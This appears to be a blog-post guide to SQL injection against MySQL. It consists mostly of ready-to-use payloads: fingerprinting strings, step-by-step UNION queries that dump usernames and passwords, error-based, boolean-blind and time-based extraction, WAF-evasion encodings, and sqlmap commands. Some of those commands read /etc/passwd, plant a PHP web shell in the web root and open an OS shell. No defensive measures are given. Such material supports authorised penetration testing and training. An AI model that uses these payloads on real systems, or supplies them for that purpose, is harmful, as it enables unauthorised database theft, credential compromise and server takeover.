MySQL Security

SQL Injection in MySQL — Deep Dive

Youssef
17 May 2026

SQL Injection in MySQL — Complete Guide

MySQL-Specific Comment Syntax

MySQL supports several comment styles that are critical for crafting injections. Knowing which one works depends on the context and any WAF filtering in place.

-- Double dash (must have space after in some contexts)
SELECT 1-- -
SELECT 1-- comment

-- Hash comment (MySQL-only, great for WAF bypass)
SELECT 1#
SELECT 1# comment

-- Multi-line / inline comment
SELECT 1/*comment*/2
SELECT/**/1/**/FROM/**/users

-- MySQL version-specific execution (conditional comment)
SELECT 1 /*!50000 AND 1=1*/-- -
-- Code inside /*!XXXXX */ only executes if MySQL version >= XXXXX

Detection — Identifying MySQL

-- Fingerprint MySQL with version-specific syntax
' AND 1=1-- -                    -- generic true
' AND 1=2-- -                    -- generic false
' AND sleep(0)-- -               -- MySQL-specific
' AND 0x41=0x41-- -              -- hex comparison
' AND (SELECT 1 FROM dual)-- -   -- dual table (also Oracle)

-- MySQL-specific functions that error on other DBs
' AND extractvalue(1,1)-- -      -- XPATH error
' AND row(1,1)>(SELECT count(*),concat(version(),0x3a,floor(rand()*2)) FROM information_schema.tables GROUP BY 2)-- -

UNION-Based Extraction — Step by Step

-- Step 1: Find number of columns using ORDER BY
?id=1 ORDER BY 1-- -   (no error)
?id=1 ORDER BY 2-- -   (no error)
?id=1 ORDER BY 3-- -   (ERROR = 2 columns)

-- Step 2: Find visible columns
?id=-1 UNION SELECT 1,2-- -
?id=-1 UNION SELECT NULL,NULL-- -   (safer, avoids type errors)

-- Step 3: Extract version/user
?id=-1 UNION SELECT user(),version()-- -

-- Step 4: Enumerate databases
?id=-1 UNION SELECT group_concat(schema_name),2 FROM information_schema.schemata-- -

-- Step 5: Enumerate tables
?id=-1 UNION SELECT group_concat(table_name),2 FROM information_schema.tables WHERE table_schema='targetdb'-- -

-- Step 6: Enumerate columns
?id=-1 UNION SELECT group_concat(column_name),2 FROM information_schema.columns WHERE table_name='users'-- -

-- Step 7: Dump data
?id=-1 UNION SELECT group_concat(username,0x3a,password),2 FROM users-- -

Error-Based — MySQL Functions

-- extractvalue() — most reliable
' AND extractvalue(1,concat(0x7e,(SELECT version()),0x7e))-- -
' AND extractvalue(1,concat(0x7e,(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()),0x7e))-- -

-- updatexml()
' AND updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)-- -

-- floor(rand()) + GROUP BY — triggers duplicate key error
' AND (SELECT 1 FROM(SELECT count(*),concat((SELECT database()),0x3a,floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)-- -

-- exp() overflow — MySQL 5.5.5+
' AND exp(~(SELECT * FROM (SELECT user())x))-- -

-- GeometryCollection error (MySQL 5.x)
' AND GeometryCollection((SELECT * FROM (SELECT * FROM (SELECT user())a)b))-- -

Boolean-Based Blind — Character by Character

-- Template: does character N of target string equal X?
?id=1 AND SUBSTRING((SELECT database()),1,1)='a'-- -
?id=1 AND ORD(SUBSTRING((SELECT database()),1,1))>97-- -

-- Binary search approach (faster)
?id=1 AND ORD(SUBSTRING((SELECT database()),1,1))>64-- -   true
?id=1 AND ORD(SUBSTRING((SELECT database()),1,1))>96-- -   true
?id=1 AND ORD(SUBSTRING((SELECT database()),1,1))>112-- -  false → between 97-112

-- Automate with sqlmap
sqlmap -u "http://target.com/page?id=1" --technique=B --level=5 --risk=3 --dump

Time-Based Blind — SLEEP and BENCHMARK

-- Basic detection
?id=1 AND SLEEP(5)-- -              -- 5 second delay confirms injection

-- Conditional extraction
?id=1 AND IF(SUBSTRING(database(),1,1)='a',SLEEP(3),0)-- -

-- BENCHMARK() alternative (useful when SLEEP is blocked by WAF)
?id=1 AND IF(1=1,BENCHMARK(5000000,SHA1('test')),0)-- -

-- Heavy query alternative (no functions needed)
?id=1 AND (SELECT count(*) FROM information_schema.columns A, information_schema.columns B)-- -

WAF Bypass Techniques

-- Space alternatives
SELECT/**/user/**/FROM/**/mysql.user
SELECT%09user%09FROM%09mysql.user     -- tab
SELECT%0auser%0aFROM%0amysql.user     -- newline
SELECT%0duser%0dFROM%0dmysql.user     -- carriage return

-- Case variations
SeLeCt UsEr FrOm MysQl.UsEr

-- Keyword doubling (some WAFs strip once)
SESELECTLECT user FROM mysql.user
UNUNIONION SESELECTLECT ...

-- Encoding
' UNION%20SELECT%20user()-- -
' /*!UNION*/ /*!SELECT*/ user()-- -

-- HTTP parameter pollution
?id=1&id=UNION SELECT user()-- -

-- Scientific notation for integers
?id=1e0 UNION SELECT user()-- -

sqlmap Cheatsheet

-- Basic scan
sqlmap -u "http://target.com/page?id=1" --dbs

-- With cookies
sqlmap -u "http://target.com/page" --cookie="session=abc123" --dbs

-- POST request
sqlmap -u "http://target.com/login" --data="user=admin&pass=test" -p user

-- Specific technique
sqlmap -u "URL" --technique=BEUSTQ    -- all techniques
sqlmap -u "URL" --technique=T         -- time-based only

-- Dump specific table
sqlmap -u "URL" -D targetdb -T users --dump

-- File operations
sqlmap -u "URL" --file-read="/etc/passwd"
sqlmap -u "URL" --file-write="shell.php" --file-dest="/var/www/html/shell.php"

-- OS shell
sqlmap -u "URL" --os-shell

-- Tamper scripts for WAF bypass
sqlmap -u "URL" --tamper=space2comment,between,randomcase

Key Insight: MySQL's # comment and SLEEP() are strong fingerprinting indicators. Always test both error-based and time-based techniques — one will work even when the other is filtered. The /*!50000 code */ syntax is particularly effective against WAFs that don't parse MySQL conditional comments.